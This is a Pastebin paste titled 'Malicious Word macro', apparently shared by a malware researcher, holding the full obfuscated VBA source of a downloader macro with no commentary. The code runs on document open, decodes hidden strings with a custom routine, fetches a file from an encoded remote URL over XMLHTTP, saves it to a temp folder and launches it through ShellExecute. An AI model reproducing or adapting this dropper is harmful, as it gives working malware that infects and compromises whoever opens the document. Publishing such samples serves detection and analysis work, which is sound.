Advertisement
dynamoo

Malicious Word macro

Jan 20th, 2015
689
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub uiwefds()
  10. TestingTheCode
  11. End Sub
  12. Sub AutoOpen()
  13.     uiwefds
  14. End Sub
  15. Sub Workbook_Open()
  16.     uiwefds
  17. End Sub
  18. Function H1Ow3ak(ByVal vWebFile As String, ByVal vLocalFile As String) As Boolean
  19.     Dim lGCG As Long, vFF As Long, oResp() As Byte
  20. Dim SHjTQi As Variant
  21.      
  22.  
  23.  
  24.  
  25.  
  26.  
  27.     Set oXMLHTTP = CreateObject(Fe5OknS("0twX11c55d12b4L5132t0jY1155I11X40THO75g06K9a0VhEQe0l6H151T320H11ai5511P4o0108r0m126Y0z1M26k01R20N04DpG"))
  28. Dim fb5av As Byte
  29.     oXMLHTTP.Open Fe5OknS("dbts2I20121qrcB510313k9260J4UhS7"), vWebFile, False
  30. Dim aVXAWg As Byte
  31.     oXMLHTTP.Send
  32. Dim Lki1CNFc As String
  33.      
  34.  
  35.  
  36.  
  37.  
  38.  
  39.      
  40.  
  41.  
  42.  
  43.  
  44.     oResp = oXMLHTTP.responseBody
  45. Dim UfkdQdNI As Currency
  46.      
  47.  
  48.  
  49.  
  50.  
  51.  
  52.     vFF = FreeFile
  53. Dim Cqof5C As Currency
  54.     If Dir(vLocalFile) <> "" Then Kill vLocalFile
  55. Dim GrEYSHj As Object
  56.     Open vLocalFile For Binary Access Write As #vFF
  57. Dim vv0aa As Variant
  58.     Put #vFF, , oResp
  59. Dim XFcLk As Object
  60.     Close #vFF
  61. Dim BeadIsF As Currency
  62.  
  63.     Set oXMLHTTP = Nothing
  64. Dim QeVkdIP As Boolean
  65.     Dim xlapp As Object
  66. Dim Bgg8Irqgg As Double
  67.     Set xlapp = CreateObject(Fe5OknS("LXY11U3WMh2b8ScA1U6U64C16sqX16Y1bdc7gh28G1x7t28jo7U3TeGcP6H1l55OK2XuZ17k92HT17q9KXlnLS211fJ16Puxo21Sj7ky28z168wa0HKp1sVYT5m84DME15ox5218kQT5QV6Z1qu680Oll177kbRy6by176PJ0aczLp"))
  68. Dim uUSHG As Variant
  69.     xlapp.ShellExecute Environ(Fe5OknS("NECx26a0n42p13B9MlIN612m312E387O248TQ0crMt")) & Fe5OknS("mBR2U9sd2s5tG1dqVx5c0gPf52tTuk5k0me5yBS15Kgw2LsLAF410ku1vI5w0Y5P1yYfL5i2cbox46EM1Fo0w1eaN120Z10u1quhJE")
  70. Dim aiOX As Date
  71.     End Function
  72. Sub TestingTheCode()
  73. Dim TLc As Byte
  74. FHbjkjkjl = Fe5OknS("i7IWrX3P1203Xx4z80348RRa03n3aa601H74D0QMq1u410s1b41n0q3450JhLA3k3303pd2o403V5sT103tN480g34uL20F333z0Jm3v300SK3Grv1503g60KY03yLabyJf714A30060b3x660EXoF30S301eaN380Zq2970u3330pipW327Qr0X141Pa031r8VX03a4ht50I1l4M1029p40BH315jOT033ot0o013Xn8j0F30i3u0p360Rs0DA30j30rYbx")
  75. Dim csBg7Uk As Object
  76.      
  77.  
  78.  
  79.  
  80.  
  81. H1Ow3ak FHbjkjkjl, Environ(Fe5OknS("dpAd109z2Jm897wvSKGBku1m8ku131001Yrv104Ygf0Pdoh")) & Fe5OknS("0QB0w88k3Q2TfZqh48u9v64y8pR0i0l4fA9yJ9b2g4800UVXrRp48Ra96zHX4p9l92iFoSYo211UCD96Mqj48u00Tb4h8c96KX4Auik992Fq44t1G6dog96x9b6WU1wF152G0H9S69Jez6mOuyB")
  82.  
  83. End Sub
  84. Function Fe5OknS(InputStringToBeDecrypted As String) As String
  85. Dim hKXPe6UQt As String
  86. Dim NIM7U3OHC As Byte
  87. Dim wfplLuj As String
  88. Dim E4IKSwHoMuU As Date
  89. Dim HZe As String
  90. Dim Ae3OiJIwM As Date
  91. Dim DvLqAgFnNK As String
  92. Dim dDAbaQ5UnHC As Byte
  93. Dim logFek5AMr As String
  94. Dim wHKoamG As Byte
  95. Dim qy7OcMAXB As Integer
  96. Dim hCD2ajLf As Byte
  97. Dim g8IN2UsQvHE As Integer
  98. Dim bXbT As Currency
  99. On Error GoTo ErrorHandler
  100. Dim JyXsn As Long
  101. strTempText = InputStringToBeDecrypted
  102. Dim qVd As Date
  103. hKXPe6UQt = strTempText
  104. Dim wmP As Object
  105. wfplLuj = ""
  106. Dim BZHge1O As Byte
  107. hKXPe6UQt = Left(hKXPe6UQt, Len(hKXPe6UQt) - 4)
  108. Dim lgUvhe As String
  109. hKXPe6UQt = Right(hKXPe6UQt, Len(hKXPe6UQt) - 4)
  110. Dim B3aOD As Object
  111. nCharSize = 0
  112. Dim RgZ7Iy3OU As Long
  113. Call Extract_Char_Size(hKXPe6UQt, nCharSize)
  114. Dim cc6Imhjw6Ak As Object
  115. Call Extract_Enc_Key(hKXPe6UQt, nCharSize, nEncKey)
  116. Dim RbgZM4EED As Byte
  117. nTextLenght = Len(hKXPe6UQt)
  118. Dim LVYCnAUOD As Object
  119. For nCounter = 1 To Len(hKXPe6UQt) Step nCharSize
  120. Dim aOoKGJnY As Boolean
  121. DvLqAgFnNK = Mid(hKXPe6UQt, nCounter, nCharSize)
  122. Dim rer4O7Y06AVQR As Date
  123. nChar = uepu7At5S(DvLqAgFnNK)
  124. Dim Nj3UK8ahVULL As Currency
  125. nChar2 = nChar / nEncKey
  126. Dim h7BdAL As Long
  127. logFek5AMr = Chr(nChar2)
  128. Dim lXjE As Byte
  129. wfplLuj = wfplLuj + logFek5AMr
  130. Dim tuA As Boolean
  131. Next nCounter
  132. Dim NtCj As Date
  133. Dim mgiwh8A As Object
  134. Dim ccqLVYCnAU As Currency
  135. wfplLuj = Trim(wfplLuj)
  136. Dim ioikN6O As Object
  137.  Fe5OknS = wfplLuj
  138. Dim tpPNnmcc As Byte
  139. Exit Function
  140. ErrorHandler:
  141. Dim Ot8OeFE8a1PI As Date
  142. End Function
  143.  
  144.  
  145. Sub Extract_Char_Size(ByRef hKXPe6UQt, ByRef nCharSize)
  146. Dim n8U2ORbX As Object
  147. DecryptParts = DecryptParts & "/Extract_Char_Size/"
  148. Dim tDkIq As Date
  149. nLeft = Len(hKXPe6UQt) \ 2
  150. Dim Uv6aCa1UqL As Boolean
  151. strLeft = Left(hKXPe6UQt, nLeft)
  152. Dim rjIhnijNj As String
  153. Dim NsfHbXbTqQ As Date
  154. nRight = Len(hKXPe6UQt) - nLeft
  155. Dim ySlK7E4EE As Byte
  156. strRight = Right(hKXPe6UQt, nRight)
  157. Dim JWOdWB As Object
  158. Dim Zpwdm3aO As Variant
  159. strKeyEnc = Right(strLeft, 2)
  160. Dim A1amPTBZ1I As Date
  161. strKeySize = Left(strRight, 2)
  162. Dim wm6n4I As Long
  163. strKeyEnc = vMFj(strKeyEnc)
  164. Dim eFEtuAPI As Date
  165. strKeySize = vMFj(strKeySize)
  166. Dim YtpskWioik As Object
  167. nKeyEnc = Val(strKeyEnc)
  168. Dim raWZEpC As String
  169. nKeySize = Val(strKeySize)
  170. Dim qdqM4aKKCRX As Variant
  171. nCharSize = nKeySize - nKeyEnc
  172. Dim clpT As Currency
  173. hKXPe6UQt = Left(strLeft, Len(strLeft) - 2) + Right(strRight, Len(strRight) - 2)
  174. Dim ybO7amlb As String
  175. End Sub
  176.  
  177. Function vMFj(ByVal cString As String) As String
  178. DecryptParts = DecryptParts & "/ vMFj/"
  179. Dim o1AeBMeKv As Boolean
  180. For nCounter = 1 To Len(cString)
  181. Dim re2UX As String
  182. DvLqAgFnNK = Mid(cString, nCounter, 1)
  183. Dim GWe As Object
  184. If IsNumeric(DvLqAgFnNK) Then
  185. Dim YwyWVL2iD As Currency
  186. Dim aNoJFIm4 As Long
  187. strTempString = strTempString + DvLqAgFnNK
  188. Dim X5E0a As Variant
  189. Else
  190. strTempString = strTempString + "0"
  191. Dim IuJrn As Byte
  192. End If
  193. Next nCounter
  194. Dim NtCj As Date
  195. Dim mgiwh8A As Object
  196. Dim ccqLVYCnAU As Currency
  197.  vMFj = strTempString
  198. Dim Ok3UL2ayWVLL As Currency
  199. End Function
  200.  
  201. Function uepu7At5S(strTempText As String) As Integer
  202. DecryptParts = DecryptParts & "/ uepu7At5S/"
  203. Dim ShnEMeB As Date
  204. strTempText = Trim(strTempText)
  205. Dim h6AACeBM As Long
  206. For nCounter = 1 To Len(strTempText)
  207. Dim r7OC As String
  208. DvLqAgFnNK = Mid(strTempText, nCounter, 1)
  209. Dim EXf2KPIu As Long
  210. If IsNumeric(DvLqAgFnNK) Then
  211. Dim YwyWVL2iD As Currency
  212. Dim aNoJFIm4 As Long
  213. hKXPe6UQt = hKXPe6UQt + DvLqAgFnNK
  214. Dim nAF As Double
  215. End If
  216. Next nCounter
  217. Dim NtCj As Date
  218. Dim mgiwh8A As Object
  219. Dim ccqLVYCnAU As Currency
  220. nResult = Val(hKXPe6UQt)
  221. Dim RcgaN7UFEtt As Currency
  222.  uepu7At5S = nResult
  223. Dim fGFu1ASmg As Long
  224. End Function
  225.  
  226. Sub Extract_Enc_Key(ByRef hKXPe6UQt, ByVal nCharSize, ByRef nEncKey)
  227. Dim pvclTrZ As Object
  228. DecryptParts = DecryptParts & "/Extract_Enc_Key/"
  229. Dim G2UBMeK8ENo As Double
  230. strEncKey = vbNullString
  231. Dim k0AXfLU As Variant
  232. qy7OcMAXB = Len(hKXPe6UQt) - nCharSize
  233. Dim uJ0I As Variant
  234. nLeft = qy7OcMAXB \ 2
  235. Dim HclpTFRkfT As Variant
  236. strLeft = Left(hKXPe6UQt, nLeft)
  237. Dim rjIhnijNj As String
  238. Dim NsfHbXbTqQ As Date
  239. nRight = qy7OcMAXB - nLeft
  240. Dim PI8f As Double
  241. strRight = Right(hKXPe6UQt, nRight)
  242. Dim JWOdWB As Object
  243. Dim Zpwdm3aO As Variant
  244. strEncKey = Mid(hKXPe6UQt, nLeft + 1, nCharSize)
  245. Dim elC1I5 As Currency
  246. strEncKey = vMFj(strEncKey)
  247. Dim etmDLqA As Byte
  248. nEncKey = Val(Trim(strEncKey))
  249. Dim DhT As Date
  250. hKXPe6UQt = strLeft + strRight
  251. Dim Sa7I As Variant
  252. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement